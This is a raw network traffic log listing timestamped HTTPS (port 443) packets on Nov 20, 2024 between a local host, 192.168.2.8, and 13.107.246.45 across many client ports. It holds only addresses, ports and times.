Nov 20, 2024 13:29:01.628160954 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.628238916 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.628272057 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.628331900 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.643943071 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.643968105 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.643991947 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.644001007 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.648889065 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.648926020 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.648992062 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.649168015 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.649183035 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.812532902 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.813221931 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.813246012 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.813983917 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.813992977 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.816942930 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.817420959 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.817436934 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.818232059 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.818237066 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.842577934 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.843199015 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.843219042 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.843859911 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.843868017 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.917984009 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.918344021 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.918489933 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.918541908 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.918561935 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.918584108 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.918591022 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.921020031 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.921040058 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.921080112 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.921129942 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.921175003 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.921453953 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.921472073 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.921482086 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.921488047 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.922128916 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.922173023 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.922497034 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.922692060 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.922704935 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.924587011 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.924614906 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.924735069 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.924952030 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.924966097 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.946223974 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.947140932 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.947216034 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.947437048 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.947453022 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.947464943 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.947469950 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.951134920 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.951153994 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.951224089 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.951400042 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.951410055 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.200525045 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.201256037 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.201278925 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.201879978 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.201894045 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.304668903 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.304748058 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.304867029 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.304888010 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.304934978 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.306746006 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.306771040 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.306785107 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.306791067 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.311883926 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.312011003 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.312093973 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.317457914 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.317538023 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.330899000 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.331438065 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.331473112 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.332060099 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.332072973 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.434595108 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.434752941 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.435667038 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.435745001 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.435767889 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.435780048 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.435785055 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.439548016 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.439652920 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.439749956 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.439958096 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.439992905 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.557089090 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.559909105 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.559957027 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.560538054 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.560547113 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.565701962 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.566063881 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.566090107 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.566554070 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.566576958 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.586363077 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.586908102 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.586952925 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.587460995 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.587470055 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.658457041 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.658488989 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.658545971 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.658567905 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.658607960 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.658902884 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.658926964 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.662627935 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.662678003 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.662751913 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.662961006 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.662976980 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.668874025 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.669100046 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.669167042 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.669245958 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.669266939 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.669280052 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.669286966 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.681668997 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.681734085 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.681794882 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.681984901 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.682003975 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.689632893 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.689706087 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.689781904 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.689810038 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.689834118 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.689886093 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.689959049 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.689959049 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.689975023 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.689985037 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.692284107 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.692326069 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.692563057 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.692698002 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.692703962 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.979629040 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.980348110 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.980390072 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:02.980967999 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:02.980978012 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.078445911 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.079087019 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.079123974 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.079591990 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.079596996 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.136737108 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.139247894 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.139364958 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.139364958 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.139440060 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.139458895 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.142227888 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.142271996 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.142343044 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.142508984 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.142519951 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.179634094 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.179697990 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.179780006 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.180018902 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.180041075 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.180053949 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.180061102 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.184326887 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.184391022 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.184494019 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.184627056 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.184642076 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.302452087 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.303096056 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.303129911 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.303590059 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.303595066 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.329509974 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.330362082 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.330374002 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.330873966 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.330878973 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.335043907 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.335346937 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.335380077 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.335697889 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.335701942 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.402440071 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.402554989 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.402602911 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.402650118 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.402695894 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.402919054 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.402936935 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.402955055 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.402961016 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.406315088 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.406366110 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.406455994 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.406619072 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.406631947 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.429168940 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.429371119 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.429444075 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.429539919 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.429548025 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.429558039 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.429563046 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.432799101 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.432848930 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.432940006 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.433080912 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.433099985 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.440460920 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.440726042 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.440952063 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.441066027 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.441066980 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.441107988 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.441133022 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.443907976 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.443943024 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.444041967 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.444191933 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.444201946 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.785937071 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.786672115 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.786708117 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.787204027 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.787213087 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.838098049 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.838862896 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.838917017 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.839309931 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.839325905 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.896187067 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.896403074 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.896507978 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.896521091 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.896796942 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.896822929 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.896835089 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.896842957 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.896882057 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.896886110 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.900773048 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.900831938 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.900926113 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.901101112 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.901118994 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.938500881 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.938666105 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.938834906 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.939059973 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.939060926 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.939121962 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.939152956 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.942066908 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.942114115 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:03.942207098 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.942383051 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:03.942392111 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.068939924 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.069618940 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.069645882 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.070132971 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.070138931 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.091494083 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.091708899 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.092500925 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.092505932 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.092509031 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.092546940 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.092753887 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.092761993 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.093110085 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.093115091 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.177042961 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.177242994 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.177294970 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.177331924 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.177376032 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.177584887 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.177611113 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.177624941 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.177632093 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.180767059 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.180804968 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.180932045 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.181107044 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.181114912 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.196218014 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.196470976 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.196654081 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.196698904 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.196717024 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.196755886 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.196762085 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.197509050 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.197678089 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.197745085 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.197880030 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.197897911 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.197930098 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.197937012 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.199806929 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.199860096 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.199892998 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.199901104 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.199965000 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.200122118 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.200136900 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.200158119 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.200323105 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.200341940 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.547394037 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.548187017 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.548228025 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.548743963 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.548748970 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.588527918 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.589070082 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.589086056 CET	443	50022	13.107.246.45	192.168.2.8
